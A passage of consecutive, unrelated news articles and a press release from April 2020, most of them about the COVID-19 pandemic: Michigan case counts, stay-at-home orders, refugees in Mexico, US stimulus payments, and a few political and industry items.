behind the metro Detroit area and Genesee County, and now neck-and-neck with Kent County. The reasons why are still up in the air. Its possible Washtenaw County saw cases of the disease earlier and more intensely, Susan Ringler-Cerniglia, Washtenaw County Health Department spokeswoman, said. Its going to take some study to find out why, she said. Its going to take a lot of figuring out what was unique or maybe not unique about us that we saw it here first, Ringler-Cerniglia said. Whitmer anxious to re-engage economy but wants to avoid second wave of coronavirus Why did Washtenaw County jump out early with cases? While health officials havent formally discussed Washtenaw Countys coronavirus outbreak, Ringler-Cerniglia said population, proximity to a major airport and proximity to a hot spot like the Detroit area could be factors. Are there other factors about the way we go about our daily lives that helped it spread here quicker than others, or was it just what happened?" Ringler-Cerniglia said. "Diseases do have seasonality and outbreaks arent necessarily always related to anything that we did. Washtenaw Countys population of about 370,000 doesnt explain everything, Ringler-Cerniglia said. Travel, however, is a big consideration, she said. The novel coronavirus originated in China and spread to parts of Asia and Europe before the outbreak began in the U.S., and many of Washtenaws first cases were associated with international and domestic travel. Detroit Metropolitan Airport is only 25 miles away. Coronavirus cases are growing outside metro Detroit and rural Michigan isnt ready A lot of people come into that airport," said Aubree Gordon, an epidemiologist and associate professor at the University of Michigan. Even very early on in January when people modeled this, Detroit was one of the areas that kind of lit up just because of the number of connections it has. Even travel to and from other parts of the state could have contributed to Washtenaws climb in cases, as the county borders Wayne County, where residents may work or have family. And the timing of travel is also a factor, Gordon said. Eastern Michigan Universitys spring break was Feb. 24 to March 2 two weeks before the first cases were detected locally and universities began to cancel in-person classes for the remainder of the semester. Its possible that spring break travel could have seeded the virus in Ypsilanti, where nearly half of the countys COVID-19 patients live, she said. Some peoples early laissez-faire reactions to increased restrictions to public spaces in mid-March, before the states stay home order was established, also may not have helped. Biermachers perspective is unique, she said, because she recognized the severity of the pandemic while traveling home from Europe and ultimately contracting a mild case of the illness. Her UM classmates acknowledged the seriousness of the situation the next week, she said. But if she were on campus when classes were initially canceled, Biermacher said she may have reacted just like her peers. I wish that people would have taken it more seriously," Biermacher said. "I would like to say that if I was there, I would have but I dont know that for sure, Large communities, like universities, share factors that could contribute to outbreak, such as close living quarters, travel and large gatherings, said UM epidemiologist Emily Martin. In a university community, people tend to be living in closer quarters than they normally would, Martin said. People are constantly coming in for meetings and visits, and students going home and coming back. Those are all sort of things that introduce challenges. Its unclear how many EMU and UM students contracted the virus -- health officials assign cases to the county in which the patient is a resident, meaning the 29% of Washtenaw Countys lab-confirmed coronavirus cases in 18-39 year-olds may not reflect the spread in student populations. More early testing would have helped Any real cause of the countys outbreak is unknown because of a lack of earlier and more widespread testing, Ringler-Cerniglia said. This would have made tracking the infection source easier, she said, because health officials could have determined who was sick earlier and ensured they isolated before potentially spreading COVID-19. Washtenaw County Jail operating below 50% capacity after coronavirus protocol changes A central state-run lab was the only place able to test for COVID-19 for the first few weeks of the outbreak until hospitals and private labs were approved by federal agencies, causing slow testing turnaround. Even now, labs are still operating under a system that prioritizes and tests the specimens of vulnerable patients, healthcare workers and first responders faster. I think we all know of the big issues with testing and testing not being widespread, Ringler-Cerniglia said. Its really difficult to make guesses about that now, because we really would have had to have that widespread testing in place at an earlier date. The death toll in Hillsdale County is unusually high. Heres why. Dont ignore social distancing Despite significant decreases in intermingling between households since Whitmers stay-at-home order went into effect March 24, the county health department has observed cases where social distancing guidelines were ignored. We know its tempting to visit your loved ones, Ringler-Cerniglia said. We know you miss them -- I miss my parents terribly. I want to go help them. But I cant do that because I dont want to be the one that spreads something to them either. Experts advise residents to continue staying at home, limiting travel to essential errands and avoiding social contact outside of their households. Those who do have to go out should wear a mask because about one in four cases are believed to be asymptomatic, according to the Centers for Disease Control and Prevention. And continued frequent and thorough hand-washing still can also severely lower the risk of infection. Washtenaw County has benefited from social distancing, health experts said, suggesting many have followed guidance. Despite a lack of sustained decline in new confirmed cases daily, Gordon said there hasnt been as much of an increase as we feared there might have been. Its an early sign of successful mitigation efforts, she said. The county has used contact tracing to identify and contain the spread in positive cases. Nurses and health department staff interview every COVID-19 positive patient to determine who they have interacted with and where they have been. They assess each new contacts risk and interview them, too, keeping high-risk, positive or presumptive cases at home and avoiding potential spread to others. Contact tracing has been a top weapon in fighting the spread, health officials said. There were an additional 230 cases of the coronavirus in Washtenaw County that started the last week of March, according to the health departments database. From April 19 to April 25, though, the county reported 51 new cases first appeared then. Dont celebrate with a big party just yet. Itll take a sustained decline after the communitys peak in cases to return to some normalcy, Ringler-Cerniglia said. Daily confirmed cases have to drop and stay down before a peak can be recognized. Even then, were going to have to look closely at what types of cases were seeing where were seeing transmission, she said. We cant necessarily jump back into normal activity. Thats a really, really hard message. Its a nuanced message and its one that nobody wants to hear right now. MORE FROM MLIVE: Michigan is ramping up coronavirus testing. Thats easier said than done. How Ann Arbors Duo Security went from a two-man operation to a $2.35 billion company St. Joseph Mercy Hospital treats first COVID-19 patient with plasma from coronavirus survivor Letter from the Editor: You can support MLives vital reporting by subscribing today Cardinal Timothy Dolan has praised President Trump's leadership. (Mike Segar / AFP / Getty Images) Some leaders of the Roman Catholic Church in the United States have been on the phone with President Trump in recent days. The encounters seem to promise political dividends for the president, and that could be a problem for the church. On April 17 Trump spoke with leaders of various faiths about when public worship might resume following the restrictions imposed during the COVID-19 pandemic. Among the participants in that call were Archbishop Jose Gomez of Los Angeles, who is the president of the U.S. Conference of Catholic Bishops, and Cardinal Timothy Dolan, the archbishop of New York. Catholic prelates also joined a call with Trump last Saturday in which Catholic education was discussed. According to the Catholic publication Crux, Trump took advantage of the call to declare that he was the best president in the history of the Catholic Church. Certainly Dolan seemed to have warm feelings for the president. On Sunday he effusively welcomed Trumps online attendance at a Mass at St. Patricks Cathedral. (Trump had tweeted praise for Dolan for a great call and a great service.") On Monday, appearing on Fox & Friends, the cardinal lauded the presidents response to the coronavirus crisis. Although Dolan also praised two Democrats, New York Gov. Andrew Cuomo and New York City Mayor Bill De Blasio, he was especially admiring of Trump. Everybody has really come through, Dolan said, but the president has seemed particularly sensitive to the, what shall I say, to the feelings of the religious community. Its true that the Trump administration has been solicitous of the concerns of religious groups about the effect of COVID-19 restrictions on public worship. (The Justice Department earlier this month intervened on behalf of a Mississippi church that was ticketed for holding drive-in services.) Trump also has been supportive of Catholic schools and religious liberty though he exaggerates what he has accomplished with his efforts to make it easier for churches to engage in politics. Story continues Most important for Catholic bishops, Trump is an opponent of abortion, albeit a late convert to the cause. Trump apparently expects that these positions will help him win Catholic votes in November. He also may think that schmoozing with Catholic leaders will aid in that effort. But there are dangers for bishops in cozying up to this president. First, Trumps support for Catholic positions is highly selective, making him the presidential version of the much-derided cafeteria Catholic. Catholic leaders may welcome his opposition to abortion and his promotion of religious liberty, but his treatment of immigrants is anathema to the bishops, who have come close to endorsing an "open borders" policy. Last week the bishops conference released a statement criticizing Trumps proclamation announcing a temporary halt to some immigration. The statement noted, Pope Francis teaches us that to live through these times we need to employ and embody the 'creativity of love.' But Trumps action, the bishops said, threatens instead to fuel polarization and animosity. Bishops who lavish praise on Trump for endorsing some of the churchs priorities (but not others) both expose and exacerbate divisions within the church about which teachings should be paramount in the churchs witness in the public square. For example, there has been controversy over a document issued by the bishops' conference describing opposition to abortion as the churchs preeminent priority in advising voters. The perception that some bishops are siding with Trump could have other consequences. In 1960, Democratic presidential candidate John F. Kennedy told an audience of Protestant ministers: I believe in an America where the separation of church and state is absolute, where no Catholic prelate would tell the president (should he be Catholic) how to act, and no Protestant minister would tell his parishioners for whom to vote. Kennedy was pushing back against a widespread perception that the Catholic hierarchy would manipulate their flocks in the exercise of the duties of citizenship. That anti-Catholic prejudice has ebbed considerably in the past 60 years, partly because many Catholic politicians, including prospective presidential nominee Joe Biden, have broken with the hierarchy by supporting abortion rights. But it hasnt disappeared. Certainly, many Catholics pay attention when bishops seem to be weighing in on candidates for public office. For example, Archbishop Charles Chaput of Philadelphia raised eyebrows in 2016 when he seemed to portray Trump and Hillary Clinton as equally objectionable. (Interestingly, Chaput has criticized JFKs 1960 speech as sincere, compelling, articulate and wrong.) Obviously, the Catholic bishops need to engage with the Trump administration and should be free to comment on public policies that affect the church. But when it comes to praising this president, a vow of silence might be appropriate. With the ceasefire holding for the time being and fears of a coronavirus outbreak rising, displaced Syrians in northern Syria are starting to return home writes Syria TV. The Syria Response Coordination Group on Monday recorded the return of 40,015 families to their homes in northwestern Syria since the beginning of the ceasefire came into effect on Mar. 5, 2020, some 20.7 percent of all displaced people in the area. The number of families who had returned to their hometowns and villages in Idleb and Aleppo has doubled compared to two weeks ago, when the group recorded the return of 216,498 people out of a total of 1,041,000 displaced since October 2019. According to statistics that the group published on its Facebook page, 7.43 percent of all displaced people in northwestern Syria had returned to Aleppo governorate, while 13.36 had returned to Idleb, bringing the total percentage of displaced who returned home to 20.79 percent. On the reasons for the returns, Muhammad Hallaj, Director of the Syria Response Coordination Group, told Syria TV last week that displaced people are no longer able to bear the cost of displacement and the tragic situation in he camps. There is also fear of the catastrophe that could happen if the coronavirus pandemic spreads in the camps, which are very crowded and are unable to enforce social distancing. Families prefer to return to their homes despite breaches of the ceasefire by the regime and its allies, in exchange for stability and the hope that support to rebuild their homes and bring back basic services will arrive from civil society organizations. Hallaj pointed out that the return of displaced people to their homes are justified for the reasons mentioned above, but warned of the dangers of unexploded ordnance in returnees hometowns, as well as the lack of effective medical systems there, and the possibility that fighting could return at any moment. Despite fears that the fragile ceasefire in Idleb may not hold, returnees are removing rubble from their homes and searching beneath the debris for any unexploded bombs dropped during the last assault by the regime and its Russian and Iranian allies. Last week, the Syria Response Coordination Group released figures for the funds needed for returnees: 6.2 million dollars to repair homes, 3.8 million for health and nutrition, 2.35 million to secure food and livelihoods, 1.95 million dollars for water and sanitation, 1.75 million for protection, 1.3 million for non-food supplies and 1.1 million dollars for education. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. SAN FRANCISCO, April 28, 2020 /PRNewswire/ -- The global heat treated steel plates market size is expected to exceed USD 7.9 billion by 2027, expanding at a CAGR of 3.9% over the forecast period, according to a new report by Grand View Research, Inc. Growing industrial output in China's automotive, construction, and industrial machinery industries is projected to remain one of the key factors driving the market for heat treated steel plates. Despite economic uncertainty, China's investments in the manufacturing sector are growing at a healthy rate. As per China's leading industry regulators, it has grown by 8.7% y-o-y basis in the first 3 quarters of 2018. Strong government policies on encouragement of private investment are likely to fuel market growth. Moreover, China's industrial output observed 6.2% y-o-y in 2018, wherein the automotive, railway, and equipment and machinery sectors were the major contributors. Key suggestions from the report: Based on process, hardening and tempering accounted for a share of 25.2% in 2019 and is projected to witness continuous growth owing to increasing need among the end-use industries for improved hardness, toughness, and strength in various parts Case hardening is projected to expand at the fastest CAGR of 4.8% over the forecast period on account of durability and surface hardness provided by this process By end use, the automotive and transportation segment accounted for the largest share of 49% and is likely to maintain its position over the next few years. Growing aircraft demand due to increase in air passenger traffic and rapidly evolving electric vehicles sector are the primary factors responsible for the segment growth The construction application segment was valued at USD 702.3 million in 2019. Positive outlook of the construction industry in emerging economies and increasing investment in highways, railways, and bridges are projected to fuel the demand for heat treated steel plates Asia Pacific held the largest share in the market for heat treated steel plates in 2019. The region is anticipated to witness lucrative growth from 2020 to 2027 due to expansion of the construction, automotive, and industrial machinery industries in China and India Key vendors in the market for heat treated steel plates include Nippon Steel Corporation, Baosteel, Tata Steel , ArcelorMittal, POSCO, and Outokumpu. Read 112 page research report with ToC on "Heat Treated Steel Plates Market Size, Share & Trends Analysis Report By Process (Hardening & Tempering, Case Hardening, Annealing), By Application, By Region, And Segment Forecasts, 2020 - 2027" at: https://www.grandviewresearch.com/industry-analysis/heat-treated-steel-plates-market Rapid growth in urbanization is projected to increase the investments in highways, railways, energy, and other infrastructure. The network of highways and railways is still low in China as compared to the developed countries, and hence the country is set to boost its economy by numerous infrastructure projects. For instance, the country gave approval to 26 infrastructure projects in 2019, including the rail projects in Kunming, Chongqing, Chengdu, Zhengzhou, and Xian. The 26 projects are worth an investment of around USD 142 billion. Growth in infrastructure is projected to contribute to the demand for construction machinery and equipment, thereby boosting the demand for heat treated steel plates. Growing aerospace and defense budgets in various countries are likely to push the demand for heat treated steel plates as these steel plates find application in helicopters, tanks, aircraft, and ships. The defense budget in U.S. is the highest in the world and has a strong impact on the manufacturing sector. The budget in the country increased from USD 606 billion in 2018 to USD 681 billion in 2019, which was more than the combined budget of Russia, China, Germany, France, U.K., and Japan. On the basis of end use, the automotive and transportation segment is projected to witness the fastest growth from 2020 to 2027. Steel is one of the sustainable materials and has high penetration in automotive components and assemblies. Heat treatment is a vital attribute of automotive and transportation components manufacturing. If the components are not heat treated, they are unable to withstand stress and may observe crack development or failure. Processes including normalizing, annealing, stress relieving, hardening, and tempering are likely to witness continuous demand on account of incessant automotive production and rising demand for new aircraft, thus driving the growth of heat treated steel plates market. Grand View Research has segmented the global heat treated steel plates market on the basis of process, application, and region: Heat Treated Steel Plates Process Outlook (Revenue, USD Million, 2016 - 2027) Hardening & Tempering Case Hardening Annealing Normalizing Others Heat Treated Steel Plates Application Outlook (Revenue, USD Million, 2016 - 2027) Automotive & Transportation Metalworking Industrial Machinery & Equipment Construction Others Heat Treated Steel Plates Regional Outlook (Revenue, USD Million, 2016 - 2027) North America U.S. Europe Germany France Russia Asia Pacific China Japan India South Korea Central & South America Brazil Middle East & Africa & Iran Find more research reports on Advanced Interior Materials Industry, by Grand View Research: Thermal Ceramic Market Increasing demand forthermal ceramics as high temperature insulation materials for linings in industrial heaters and furnaces is expected to augment market growth over the coming years. Gypsum Board Market Growing demand from the residential construction sector coupled with increasing consumer spending on advanced construction materials is expected to drive the growth. Lignin Market The global lignin market size was estimated at USD 954.5 million in 2019 and is expected to expand at a CAGR of 2.0% in terms of revenue, from 2020 to 2027. Increasing demand for lignin in animal feed and natural products is anticipated to drive the growth. Gain access to Grand View Compass, our BI enabled intuitive market research database of 10,000+ reports About Grand View Research Grand View Research, U.S.-based market research and consulting company, provides syndicated as well as customized research reports and consulting services. Registered in California and headquartered in San Francisco, the company comprises over 425 analysts and consultants, adding more than 1200 market research reports to its vast database each year. These reports offer in-depth analysis on 46 industries across 25 major countries worldwide. With the help of an interactive market intelligence platform, Grand View Research helps Fortune 500 companies and renowned academic institutes understand the global and regional business environment and gauge the opportunities that lie ahead. Contact: Sherry James Corporate Sales Specialist, USA Grand View Research, Inc. Phone: +1-415-349-0058 Toll Free: 1-888-202-9519 Email: [email protected] Web: https://www.grandviewresearch.com Follow Us: LinkedIn | Twitter SOURCE Grand View Research, Inc. Vice President Mike Pence (C) visits a patient who survived the CCP virus and was going to give blood, during a tour of the Mayo Clinic in Rochester, Minn, on April 28, 2020. (Jim Mone/AP Photo) Pence Forgoes Mask While Meeting With Mayo Clinic Patients Vice President Mike Pence did not wear a mask while visiting the Mayo Clinic in Minnesota on Tuesday, a violation of the medical centers policies during the COVID-19 pandemic. Pence participated in a roundtable discussion and was taken on a tour of the Rochester facility. Mayo Clinic workers all appeared to be wearing masks, as was Food and Drug Administration Commissioner Stephen Hahn. Minnesota Gov. Tim Walz, a Democrat, was wearing one when he met Pence at a nearby runway. Mayo Clinic began requiring all patients and visitors wear masks or face coverings on April 13. Patients and visitors are asked to bring their own face covering or mask to wear. If a patient or visitor does not have a mask, Mayo Clinic will provide one, the clinic said in a press release. The clinic said in a statement on Twitter Tuesday: Mayo Clinic had informed @VP of the masking policy prior to his arrival today. Vice President Mike Pence waves as he arrives for a visit to the Mayo Clinic in Rochester, Minnesota, on April 28, 2020. (Jim Mone/AP Photo) The tweet was later deleted. The Centers for Disease Control and Prevention (CDC) last month said people should use masks or coverings when in areas where social distancing, or maintaining at least six feet from others, isnt feasible. Few top federal officials have been seen wearing masks, and none wear them during the daily White House briefings on the CCP (Chinese Communist Party) virus, a novel coronavirus that emerged from mainland China last year that causes the disease COVID-19. President Donald Trump told reporters on April 3 he wouldnt wear a mask, noting the CDC recommendations are voluntary. Pence hasnt directly addressed the issue. Both Trump and Pence have tested negative for COVID-19, as have their wives. New Delhi: The Congress on Tuesday asked Prime Minister Narendra Modi to spell out a clear exit strategy for coronavirus lockdown after May 3, saying the nation is waiting for it. Congress chief spokesperson Randeep Surjewala said the prime minister is expected to lead the nation in crisis like these. "We once again appeal to the prime minister to come out with a clear exit strategy for the lockdown, to state the roadmap for economic revival and to deal with the health pandemic post May 3, as also restrict the lockdown only to hotspot zones," he told reporters at a press conference through video conferencing. He said the chief ministers requested the prime minister to tell the nation what is the exit strategy from the lockdown. "What is the government''s strategy on the health front and the economic front in terms of post lockdown period. What is the roadmap for the future course after May 3. "How is the prime minister going to come out with financial action plan 2 as Sonia Gandhi has demanded and so have many experts, be it for starvation, migrant labour, or be it for kickstarting the economy or the small and medium enterprises," the Congress leader said. The appeal comes a day after Modi met chief ministers of various states through video-conferencing and sought their views, while also spelling out the government''s strategy on tackling COVID-19. Most of the chief ministers have demanded extension of the lockdown and urged prime minister to take a call on the exit strategy, while asking him to have a cautious approach in opening it. Amid the coronavirus pandemic, one strategy has emerged as the best way to curb transmission and save lives: staying at home. But sheltering in place in his gang-ravaged neighbourhood in El Salvador was simply not an option for Oscar.* In March, the 44-year-old happened to witness a crime, and the armed gang responsible for it went after him, threatening his family. Oscar knew that, despite the pandemic, he had no choice but to flee for his life. I thought about going to the police, but they [the gang members] told us that if I did, they would kill my family, said Oscar, who has an adult son who is still in El Salvador. Growing up in El Salvador, a country which has one of the highest crime rates in Latin America, Oscar has for years seen first-hand just how ruthless the criminal gangs that terrorize many areas can be. The concrete, targeted threats proved more frightening and potentially deadly than even the coronavirus. And so, he said, I decided to go to Mexico. He managed to get out of El Salvador ahead of a nationwide stay-at-home order that went into effect on 21 March and entered Mexico near the southwestern border town of Tapachula. There, Oscar was able to apply for refugee status, in part because the Mexican government considers registering asylum claims an essential activity. This means that the countrys refugee authority, known by its Spanish-language acronym, COMAR, has remained open during the pandemic, thus helping prevent the possible deportation of those, like Oscar, who are fleeing violence and persecution. He is not alone. Despite the heightened threat of fleeing during the pandemic, the real and pervasive dangers back home continue to push people to seek safety abroad. Among them is 19-year-old Mathius* from Honduras, who had no choice but to flee after he refused to sell drugs for a street gang. In my country, we are threatened and extorted. He left for Mexico with a friend in early March, ahead of the Honduran governments 16 March proclamation of a stay-at-home order, which was followed two days later by a total lockdown across the north of the country that remains in place. While escaping meant travelling just as the COVID-19 outbreak was spreading across the region, exposing himself to the potentially deadly virus seemed like a safer bet than defying the gangs back home. In my country, we are threatened and extorted, said Mathius, who left his mother and sisters back in Honduras and has applied for refugee status in Mexico. The coronavirus doesnt worry me. In recent years, record numbers of people like Oscar and Mathius have been seeking asylum in Mexico. Most are Central Americans fleeing targeted persecution by gangs. Last year, Mexican authorities received more than 70,000 applications. That was up from just 2,100 five years earlier, in 2014. And while the coronavirus pandemic has slowed the pace of applications, people in desperate straits are continuing to arrive, despite the health risks. While the weekly number of applications for refugee status in Mexico fell by about 90 per cent in early April, compared with January and February, according to data from COMAR, hundreds of people in dire need are still applying each week. In a recent statement, the UN High Commissioner for Refugees, Filippo Grandi, expressed concern that border closures and other pandemic-related restrictions are affecting the right to seek safety. He called on countries to respect long-standing laws protecting refugees. Securing public health and protecting refugees are not mutually exclusive. The core principles of refugee protection are being put to the test, Grandi said, adding that people who are forced to flee conflict and persecution should not be denied safety and protection on the pretext, or even as a side effect, of responding to the virus. Securing public health and protecting refugees are not mutually exclusive. This is not a dilemma. We have to do both, Grandi added. Long-recognized refugee laws can be respected even as governments adopt stringent measures to protect public health, including at borders. Coronavirus is also putting refugees, asylum-seekers and internally displaced people among the most vulnerable populations in the world at even greater risk by threatening their often-meagre sources of income. Additionally, the living conditions of many refugees, particularly new arrivals in their host countries, such as Oscar and Mathius, often make it difficult for them to take preventative measures. See also: Refugee health workers step up for coronavirus response in Latin America Amid the pandemic, dozens of shelters in Mexico have closed to new arrivals, while the configuration of others makes keeping a safe distance hard. For that reason, UNHCR is helping shelters take additional preventive measures, such as creating isolation rooms. The UN Refugee Agency is also helping to decongest shelters by delivering assistance to asylum-seekers so they can rent their own lodgings. Since early March, the agency has provided cash assistance to more than 3,300 people so they can rent their own accommodation and more easily maintain physical distance. It has also installed handwashing facilities in shelters and handed out thousands of hygiene kits. Andres Ramirez, the general coordinator of Mexicos refugee authority, COMAR, said international protection remains a fundamental right during the pandemic. The state of extreme vulnerability in which these people arrive after having suffered persecution, generalized violence, or the systematic violation of their human rights back home, makes them an absolute priority for the Mexican government, particularly amid this health emergency, which hits the most vulnerable groups hardest, Ramirez said. *Name changed for protection reasons. The Muslim Rights Concern (MURIC) has given a rather ridiculous interpretation to the unfolding tragedy in Kano, suggesting that the unusual death toll in the northwestern state could be a deliberate attempt at decimating the population of Muslims in Nigeria. Kano State has seen a spike in mystery deaths in one week amid COVID-19 threats. With scant resources nationally and low capacity to test, authorities are yet to determine if COVID-19 caused the deaths. Public concerns have arisen over the situation in the state, which now appears helpless, with Governor Abdullahi Ganduje accusing the Federal Government of neglect. In a statement on Monday, MURIC Director, Ishaq Akintola, lamented the unusual deaths, saying Kano needed help urgently, and then surprisingly brought a religious angle to the matter, warning of a threat to the majority status Nigerian Muslims enjoy in the area of demography. More disturbing is the rumour that the National Centre for Disease Control (NCDC) in the state has locked up its offices and its officials are not responding to distress calls, the MURIC director said. The only testing centre in Kano which is situated at the Aminu Kano Teaching Hospital has also been allegedly locked up. So where did NCDC get its figure on Kano? Something is fishy here. We are surprised that testing centres are almost nonexistent in the North. Is this a deliberate attempt at debilitating Northern population with its attendant impact on Muslim majority population in the country? We, therefore, demand an inquiry into circumstances surrounding the alleged closure of NCDC office in Kano State as well as the paucity of testing centres in the whole North. Nigerian Muslims are currently enjoying a majority status in the area of demography. We must avoid anything capable of decimating our population. READ ALSO: We urge Kano citizens to strictly obey rules set by health officials, particularly social distancing, washing hands regularly with soap, using sanitizers and staying at home. You must break the cycle of this killer virus. Above all, the government must be vicious to be triumphant. Violators of lockdown rules must be dealt with according to the law while the lockdown on Kano must not be lifted until the rate of death slows down to a reasonable level. Mr Akintola is a professor and founder of MURIC, which he runs, according to his personal website, for protection and promotion of the rights of Muslims in Nigeria. But contrary to his claim, there is no data indicating which religion has more followers in Nigeria. The country had its last census in 2006 and during that headcount, the National Population Commission did not collect data on religious affiliations. Mr Akintola has a reputation for using MURIC to make alarmist claims, some of them false. In January, he tried to drive Muslims against Amotekun, a popular south-west initiate to combat insecurity. He tagged the initiative an ostensibly anti-Muslim security network (coming) into operation in Yorubaland. Many Nigerians, including Muslims, have repeatedly denounced Mr Akintolas MURIC rhetoric, warning him to rise above bigotry and instead promote harmonious co-existence by adherents of all religions as espoused by the Holy Quran. Six companies representing 18 media outlets in the country were reported to the Ministry of Labor for practices on the sidelines of Covid-19 for a breach on workers' rights. The Government of Colombia must cogently materialize the mechanism of Rigorous labor inspection of employers' labor decisions during the health emergency, contemplated in Circular 022 of March 19, 2020, of the Ministry of Labor. FECOLPER and the International Federation of Journalists reject and repudiate the practices performed by some employers in Colombia which downplay the labor rights of workers in the media sector, breaching national regulations and disregarding the treaties ratified by the country, in detriment to the employment of journalists and the right to information as an essential public service. The FECOLPER Platform for Attention to Journalists, in its campaign to detect possible labor abuses, reviewed employment contracts, collected documentary evidence and analyzed them according to the current legal system, detecting the following irregularities in labor matters on the occasion of COVID-19: The imposition of unpaid licenses unilaterally, with coercion or under constraints of employers. It is noted that unpaid leave is an alternative to the health emergency due to COVID-19, but the worker must necessarily express his/her free, spontaneous and without urgency will to take it. Fecolper highlighted that some employers forced workers to sign these types of licenses, others threatened not to pay their workers' wages if they did not sign them, this being illegal practices. The modification of the working day with a decrease in a value or in a percentage of the worker's salary, demanding the same amount of work or even a greater amount of it. The overload of work and the assignment of activities outside the usual hours of the worker. According to Colombian labor law, the employer must respect the volume and the schedule of the worker who is teleworking or working at home, meaning, these conditions must be similar to those that the journalist had when he/she carried out his/her activities in person in the media outlet. The decrease of the worker's salary in the telework modality, while demanding the same tasks and the same performance. The suspension of employment contracts arguing the configuration of force majeure or fortuitous case without giving notice to the Ministry of Labor and without analyzing other alternatives more favorable to the worker that allow him/her to continue executing journalistic work in the midst of the pandemic. It was observed that some employers affirmed that it was impossible for journalists to carry out their activities, however, the only official who can decide whether or not the situation can be configured by force majeure or fortuitous case is the labor judge. The unjustified use of the situation to make dismissals and unilaterally terminate direct employment contracts and of workers on mission, disregarding all the rights and benefits granted by labor legislation. The individual and massive dismissal of workers without any type of compensation. However, in Colombia, COVID-19 has not been declared as force majeure or as a situation that allows workers to be dismissed with just cause. The absence of optimal health conditions and of measures for the prevention and mitigation of the virus in the media facilities, requiring journalists to buy with their own resources the hygiene and biosafety elements for personal protection. The requirement to cover news regarding COVID-19 and other information of public interest that involves the movement of journalists through cities and municipalities, without providing them with tools such as face masks, alcohol, antibacterial gel, instrumental and equipment care material necessary in the development of reporting services. The imposition of functions and obligations subsequent to those initially signed in orders for the provision of services with contractors (Journalists), which go beyond the scope of the agreement. While the contracts for the provision of services in Colombia are governed by civil law, the contractor must respect the agreed clauses and the conditions established by common agreement. For FECOLPER and FIP, all the practices described above and that have been applied by some employers during the period of national emergency, are lethal for journalists and other workers in the sector. It is surprising that, as of the date of this pronouncement, only one complaint from the total number of instants is being talked, which reveals the lack of speed of the inspection system in Colombia, while, unfortunately, the rights of workers continue to be violated. MANIFIEST Representing workers in the media sector, the organizations: New York Gov. Andrew Cuomo will visit Upstate Medical University in Syracuse today to give his daily briefing on the coronavirus pandemic, according to the governors office. The trip will be Cuomos first to Central New York since he issued a stay-at-home order on March 20 aimed at helping to slow the spread of the virus. The governor usually holds his briefings in the Red Room at the state Capitol in Albany. Cuomos office did not say why he decided to move todays briefing to the state-operated medical center in Syracuse. He plans to brief reporters at 12:15 p.m. today (pushed back from 11:30 a.m.). Cuomos daily updates have become must-see TV, broadcast live on cable networks and livestreamed to millions of people stuck at home during the pandemic. The spotlight has boosted Cuomos popularity in New York. A Siena College poll Monday found 87% of New Yorkers approve of the job Cuomo is doing to fight the pandemic. MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Coronavirus economy: New Yorkers going weeks with no job, no call from unemployment Cuomo: Many parts of NY will be closed past May 15, heres how others reopen Onondaga County warns of potential coronavirus exposure at Target, Walmart Complete coronavirus coverage on syracuse.com Got a tip, comment or story idea? Contact Mark Weiner anytime by: Email | Twitter | Facebook | 571-970-3751 Roughly two months ago, the idea of shutting down nonessential businesses as a means of slowing the transmission of the coronavirus disease 2019 (COVID-19) sounded farfetched. Today, the vast majority of states have enacted stay-at-home orders that have closed nonessential businesses and, in the process, put more than 26 million people out of work in a four-week stretch. It's an unfortunate but necessary evil needed to flatten the COVID-19 transmission curve. It's this unprecedented disruption to the U.S. economy and labor market that drove Congress to pass, and President Trump to sign, the Coronavirus Aid, Relief, and Economic Security (CARES) Act into law on March 27. At $2.2 trillion, the CARES Act is the largest economic stimulus package ever passed by lawmakers. Who gets a stimulus check? Although the CARES Act supplies $500 billion to distressed industries, provides close to $350 billion in small business loans (which were spoken for within two weeks), and puts $260 billion to work to expand the unemployment program, it's the $300 billion set aside for direct payouts to the American public that's garnered all the attention. These payouts, officially known as Economic Impact Payments, have already begun going out to households via direct deposit. It's estimated that 140 million households, and roughly 175 million taxpayers, will qualify for stimulus money. Of course, there are still tens of millions of people who either won't receive the full payout of $1,200 per individual or $2,400 for a married couple filing jointly, or will receive nothing at all. The eligibility factors for a stimulus check predominantly come down to a person's or couple's adjusted gross income (AGI), tax filing status, and citizenship status. In order to receive the maximum payout of $1,200 or $2,400, single, married, and head-of-household taxpayers need AGIs of under $75,000, $150,000, and $112,500, respectively. It should be noted that the Internal Revenue Service is determining AGI eligibility based on the most recent tax return on file. Since Tax Day for the 2019 tax year has been extended until July 15, 2020, this means either the 2018 or 2019 tax filing will determine eligibility. By comparison, single, married, and head-of-household filers with AGIs above $99,000, $198,000, and $136,500, respectively, won't receive a dime as they earned too much. Taxpayers who fall in between this upper bound -- where stimulus money ceases to be paid -- and the lower bound -- where payouts are maximized -- will see their Economic Impact Payment reduced by $5 for every $100 increase in AGI. Beyond income, dependents aged 16 and under can net their parent(s) an extra $500 per child. On the other hand, dependents 17 and older can't receive a payout and won't help their household with the extra $500 per child. This means college-age dependents and senior dependents won't receive any stimulus money. Lastly, green-card holders (i.e., immigrants with a legal pathway to citizenship) can qualify for an Economic Impact Payment, while those folks without a Social Security number or pathway to citizenship won't receive a stimulus check. Families in these states are expected to receive the largest average Economic Impact Payments However, where you live is also somewhat proving to be a determining factor in the size of stimulus check you'll receive. Recently, home-sales insight company Ownerly.com released an analysis that examined U.S. Census Bureau data for average family size and number of children in each state, and then compared that data to income distributions within each state. In other words, this was a roundabout way for Ownerly to estimate the average stimulus payout per qualifying family in all 50 states. By its estimate, families in the following five states are in line to receive the largest Economic Impact Payments: Mississippi: $2,659 New Mexico: $2,571 Louisiana: $2,543 Alabama: $2,515 Florida: $2,501 Why these states? The biggest factor likely has to do with median household income. Not including Washington, D.C., Florida, Alabama, New Mexico, Louisiana, and Mississippi, respectively, rank 37th, 44th, 46th, 47th, and 50th out of 50 states in median household income. With the median household generating between $43,567 and $53,267 in these five states, chances are that most families are well below the $150,000 AGI threshold where stimulus phaseouts kick in. Having a higher number of qualifying children can also boost a household's Economic Impact Payment. In terms of the average number of children per family per state, New Mexico is one of only six states with more than 2.01 children per household, with Mississippi, Louisiana, Florida, and Alabama landing between 1.91 and 2 children per household. It's also noteworthy that, with the exception of Florida, the other four states have some of the lowest costs of living in the United States. Thus, a higher-than-average stimulus paycheck should go further in these states. Ultimately, everyone's situation is going to be different, and what you do with your stimulus money is truly what matters. But if you live in Mississippi, New Mexico, Louisiana, Alabama, or Florida, your stimulus check just might be higher than the national average stimulus payout. The Times 